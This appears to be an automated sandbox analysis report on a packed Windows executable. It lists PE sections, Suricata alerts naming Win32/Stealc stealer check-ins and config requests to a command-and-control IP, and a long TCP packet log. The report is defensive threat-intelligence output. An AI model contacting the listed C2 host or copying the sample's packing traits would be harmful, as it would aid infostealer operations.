IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	1ea3cb35f8907c7b8de1c901f2521765	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x299000	0x200	74d296686a1c89d861b61f3a9eb4dde9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mscidksm	0x4f7000	0x199000	0x198400	2d9816c894b061432cf2136232c4ab7a	False	0.9949102734614207	data	7.954586600170134	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ferwzipo	0x690000	0x1000	0x600	bc8cfea68cd0a99d180d0556a8df0e13	False	0.58984375	data	5.218593918933549	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x691000	0x3000	0x2200	5bc58e4e1126d97f4f3beb97f4e4b085	False	0.06675091911764706	DOS executable (COM)	0.8013681076836393	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-20T23:43:01.227395+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:01.577736+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:01.584396+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.11	49708	TCP
2024-10-20T23:43:01.928477+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:01.946397+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.11	49708	TCP
2024-10-20T23:43:03.268506+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:03.843266+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:10.339844+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:11.712078+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:12.309785+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:13.075959+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:13.968638+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:14.357547+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.11	49708	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 23:42:59.713011980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:42:59.717843056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:42:59.717945099 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:42:59.718060017 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:42:59.722913980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:00.850471020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:00.850641012 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:00.863657951 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:00.868513107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.227313995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.227395058 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:01.229146957 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:01.233932018 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.577569008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.577586889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.577735901 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:01.579581022 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:01.584395885 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.928065062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.928092957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.928111076 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.928344965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.928358078 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.928369045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.928380013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:01.928477049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:01.928548098 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:01.941282034 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:01.946397066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:02.289530993 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:02.289592981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:02.382514954 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:02.382555962 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:02.387784958 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:02.387801886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:02.387810946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:02.387828112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:02.387835979 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:02.387844086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:02.387851954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.268419027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.268506050 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:03.497600079 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:03.502521992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.843152046 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.843170881 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.843183041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.843245029 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.843260050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.843266010 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:03.843276978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.843410969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.843431950 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:03.843452930 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:03.844331026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.844345093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.844357967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.844522953 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:03.844603062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.844656944 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:03.844882011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.844934940 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:03.845185041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:03.845232010 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.034656048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.034687996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.034701109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.034730911 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.034787893 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.034791946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.034806013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.034837961 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.034857988 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.034996986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.035052061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.035063982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.035067081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.035140038 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.035211086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.035223961 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.035279989 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.035279989 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.035870075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.035929918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.035943985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.035970926 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.035970926 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.036088943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.036103010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.036147118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.036147118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.036158085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.036729097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.036792994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.036803961 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.036814928 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.036854029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.036891937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.036935091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.036947012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.036987066 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.037589073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.037645102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.037656069 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.037666082 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.037700891 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.037700891 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.225482941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.225516081 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.225568056 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.225568056 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.225636959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.225670099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.225682974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.225704908 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.225704908 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.225723028 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.225780010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.225907087 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.225919008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.225933075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.225954056 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.225981951 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.226131916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.226255894 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.226257086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.226270914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.226356983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.226358891 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.226370096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.226382971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.226397038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.226416111 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.226428986 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.226515055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.226939917 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.226989985 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.227014065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.227058887 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.227097988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.227111101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.227123022 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.227174997 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.227174997 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.227305889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.227319002 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.227334023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.227344990 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.227346897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.227366924 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.227399111 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.227399111 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.227986097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.228040934 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.228054047 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.228081942 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.228081942 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.228125095 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.228214979 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.228229046 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.228240967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.228255033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.228276014 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.228276014 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.228337049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.228415012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.228526115 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.228965998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.229052067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.229067087 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.229110003 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.229227066 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.229234934 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.229248047 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.229269981 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.229284048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.229298115 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.229298115 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.229331970 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.229331970 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.229410887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.229516983 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.229902029 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.229950905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.229964972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.229990005 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.229990005 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.230015993 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.230485916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.230499983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.230514050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.230535030 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.230560064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.230560064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.417404890 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417437077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417450905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417471886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417484045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417495012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417510033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417517900 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.417565107 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.417727947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417747974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417759895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417772055 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417784929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417784929 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.417824030 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.417843103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.417958021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417970896 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417982101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.417995930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418010950 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.418020964 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.418081045 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.418155909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418232918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418246031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418267965 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.418293953 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.418293953 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.418399096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418411970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418461084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418464899 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.418473959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418514013 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.418514013 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.418669939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418682098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418694973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418708086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418720961 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418761969 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.418761969 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.418926954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418983936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.418997049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419023037 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.419066906 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.419152975 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419167042 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419178009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419189930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419219017 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.419248104 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.419436932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419450998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419456959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419461966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419472933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419487000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419497967 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.419547081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.419934034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419969082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.419981956 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420039892 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.420119047 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420139074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420150995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420161963 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420196056 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.420196056 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.420216084 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.420403004 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420423031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420438051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420448065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420459986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420500040 CEST	49708	80	192.168.2.11	185.215.113.37
